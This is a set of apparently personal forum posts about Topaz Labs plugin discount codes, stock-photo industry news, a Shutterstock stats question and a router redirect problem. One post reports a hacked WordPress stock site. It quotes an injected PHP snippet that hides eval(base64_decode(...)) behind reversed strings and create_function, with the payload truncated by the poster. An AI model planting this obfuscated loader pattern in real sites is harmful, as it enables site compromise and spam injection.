From November 21st through November 28th, Topaz is offering 75% off of all of their traditional plugins in the full Topaz Plugin Collection
The plugin Collection includes 17 Topaz Products including the Topaz Studio versions of Impression, Clarity, Detail and Simplify. (over $1000 individually) for only $249.99. As an added bonus you receive also some useful pro adjustments in Topaz Studio from Impression, Clarity, Detail and Simplify
 
Here's the link: Topaz Black Friday Sale

Use the coupon code 'BLACKFRIDAY17' to get your 75% discount.

From April 11th through April 16th, 2017 Topaz Labs is making available their complete collection of artistic filters and photo enhancements at 40% off.
The entire collection includes 17 programs/plugins in total, some of them functioning also in standalone mode.

Here is the link:
TOPAZ COMPLETE COLLECTION

Use the following discount coupon to get the complete Topaz package at 40% discount
SPRING40

If you already own some of the Topaz plugins, use also the provided link.
Then you can sign on with your name and password, and you'll get a partial credit for the previously purchased single plugins. You will get also 40% discount for the remaining balance, so the complete package price will be even  lower.

Today (just for 24 hours!), Topaz Labs is offering their DeNoise plugin at 40% off.

Here is the link:
TOPAZ DENOISE

Use the following discount coupon to get the Topaz Noise Reduction plugin for $47.99US (regular price $79.99)
DENOISE12

From May 3rd through May 22nd, Topaz Labs is making available their complete collection of artistic filters and photo enhancements at 40% off.
The entire collection includes 17 programs/plugins in total, some of them functioning also in standalone mode.
Personally, although I tried most of their programs, I like and use mainly the following plugins on regular basis - Remask, Denoise, Clarity, Detail, Adjust and Impression.

Here is the link:
TOPAZ COMPLETE COLLECTION

Use the following discount coupon to get the complete Topaz package for $299.99
SPRINGSUMMER2016

If you already own some of the Topaz plugins, use also the provided link.
Then you can sign on with your name and password, and you'll get a partial credit for the previously purchased single plugins. Then you will get also 40% discount for the remaining balance, so the complete package price will be less than $299.99.

From December 17th through December 31th, Topaz Labs is discounting all their software (a single filter/plugin or entire collection) by 35%.
If you want to try Clarity, Detail, Remask, Denoise, or Impression programs, this is an inexpensive way to purchase them.
(of course, all their programs are available at this special price).

Here is the link:
TOPAZ 35% SALE

Use the following discount coupon to get 35% of any plugin or the entire collection
TOPAZ2015

Topaz Labs just released Topaz ReMask 5, an updated version of their masking software, complete with new features. The update is free to anyone who already owns ReMask, and for those who don�t own it, ReMask 5 will be on sale ($20 off) from August 25th � September 18th. You can share the coupon code "GetReMask5" with your friends so they can also take advantage of the discounted price of $49.99 (regularly $69.99).

The program works now in standalone mode and can be called also from Adobe Lightroom.

Here is the Topaz link:
Topaz Remask  and enter "GetReMask5" as the coupon code to get the $20 discount.

SS beats Getty images in Academy Awards Image Licensing

http://www.ft.com/intl/cms/s/0/42215a9c-17de-11e5-a130-2e7db721f996.html?ftcamp=traffic/partner/feed_headline/us_yahoo/auddev,traffic/partner/feed_headline/us_yahoo/auddev#axzz3dl0cat51]http://www.ft.com/intl/cms/s/0/42215a9c-17de-11e5-a130-2e7db721f996.html?ftcamp=traffic/partner/feed_headline/us_yahoo/auddev,traffic/partner/feed_headline/us_yahoo/auddev#axzz3dl0cat51


EDIT
use the following link to read it without registration:
http://variety.com/2015/biz/news/shutterstock-penske-photo-business-1201524128/

I haven't checked nor updated my Symbio site for a while, and when I finally did, I found a "viagra" link displayed between the stock site name and image title.
Linked to the following URL: www.xxxpowersconstruction.net/viagra-prices-cvs  (inserted xxx into the name, not to reward this scumbag)

After running Wordfence analysis, that utility reported a number of malicious php files in the wp-content directory.

Critical Problems:
* File appears to be malicious: wp-content/themes/advantica/functions.php
* File appears to be malicious: wp-content/themes/clean-theme-2-0-1-old/functions.php
* File appears to be malicious: wp-content/themes/clean-theme-2-0-1-old2/functions.php
* File appears to be malicious: wp-content/themes/smallbiz/functions.php
* File appears to be malicious: wp-content/themes/symbiostock/functions.php
* File appears to be malicious: wp-content/themes/symbiostock-dragonfly/functions.php
* File appears to be malicious: wp-content/themes/symbiostock-old/functions.php
* File appears to be malicious: wp-content/themes/symbiostock-old2/functions.php
* File appears to be malicious: wp-content/themes/twentyeleven/functions.php

and a few other themes


This is the data found in the php files (I shortened the code disguised as some gibberish shown in bold from about 80 lines to 1 line only - to eliminate any possibility of spreading this virus further):
<?php
$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
 $wp_user_functions_init(strrev(')"=oQD9pQD7kiIwhGcf52bpR3YuVnZft2YhJGbsF2YigCdyFGdz9lYvlgCNsXKpcCdyFGdz9lYvdCKzR3cphZoYWa"(edoced_46esab(lave'));
?>

Not knowing much about php code, I deleted ALL the lines in the php files, and that got rid of the offending link, but I wonder if I should have some information in those php files. If symbiostock/functions.php should contain some essential information, please, let me know what it should be.
 
I also wonder how my site got hacked. If my php files got infected through some plugin/theme, by direct attack to my Symbiosite or laterally on my host site.

Has anybody compared these two lenses? In Canada, both are offered presently at the same price.

And when you thought it can't get any worse:

http://techcrunch.com/2014/07/29/flickr-rolls-out-a-new-commercial-licensing-program-to-compete-with-500px-and-others/

Is there a limit on number of images in a set when viewed through the Show Stats in Actions Menu?
The stats work great in smaller sets (i.e  20-200 images), but I get no results for larger sets (i.e. 600+)

For several months now, occasionally, when I force Screen Refresh or navigate to another screen within Shutterstock, I get a router error, (http://dlinkrouter/error-404.htm) and then I'm redirected to my Router (using Dlink) login screen and I'm prompted to enter router password and go through the router login. Going backwards in the browser takes me back to the last SS screen and when I press F5 or try to navigate to another SS function, I get again the router error.

At that point, if I type in the browser top field another URL, it opens without any problems. Also, if I close that tab and type SS URL in a new tab, usually it opens also correctly (not always).

Typically, I have a number of other browser tabs open, and they all work fine. Even more interestingly, some of the other tabs may be multiple instances of SS sessions, and they work also fine.

I'm using Win 8.1 and IE 11. I don't remember seeing this problem on my previous computer with Win 7.
I suspect that it is some timing problem between SS, browser and router.  Has anybody else experienced such problem and what could be causing it?

Another month, another Topaz promotion!

This month, Topaz Labs runs a 50% off promotion for their Topaz Detail sharpening plugin. This program allows you to specify sharpening on multiple levels with the addition of local contrast. I find it especially useful for the creative sharpening phase in landscape or macro images.
The special price is only $19.99 instead of regular $39.99 which is a great deal for this plugin.

Main features and benefits:

 * Better control over image detail. Detail uses size-based processing that lets you independently adjust small, medium, and large details.
 * More natural images. The technology in Detail substantially reduces the halos and artifacts you get from over-sharpening.
 * More volume and three-dimensionality. Detail can enhance larger image features to increase the perceived "depth" of your photo.

I posted a short review of the Topaz Detail plugin with some examples on my blogsite.

http://advantica.wordpress.com/2014/04/08/topaz-detail-3/


The current promotion will run from Apr 10 to Apr 30, 2014. To see more information and before/after samples, or to buy it at the reduced rate, use the link below:
Topaz Detail
and enter "aprdetail" as the 50% discount code

Using this link, you should get also a 15% discount on any of their other products


EDIT:
Added the link to the review on my blogsite.